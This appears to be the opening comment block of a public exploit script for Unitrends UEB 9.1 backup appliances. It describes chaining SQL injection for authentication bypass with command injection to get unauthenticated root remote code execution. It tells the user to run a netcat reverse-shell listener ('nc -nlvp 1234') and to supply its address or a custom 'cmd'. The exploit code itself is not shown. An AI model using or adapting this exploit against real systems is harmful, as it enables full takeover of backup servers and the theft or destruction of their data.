Unauthenticated root RCE for Unitrends UEB 9.1
Tested against appliance versions:
  [+] 9.1.0-2.201611302120.CentOS6
 
This exploit leverages a sqli vulnerability for authentication bypass,
together with command injection for subsequent root RCE. 
 
To use the exploit as written, make sure you're running a reverse
shell listener somewhere, using a command like:
 
$ nc -nlvp 1234
 
Then, just specify the ip and port of the remote listener in the 
exploit command. Alternatively, modify this exploit to contain a 
command of your choosing by modifying the 'cmd' variable below.
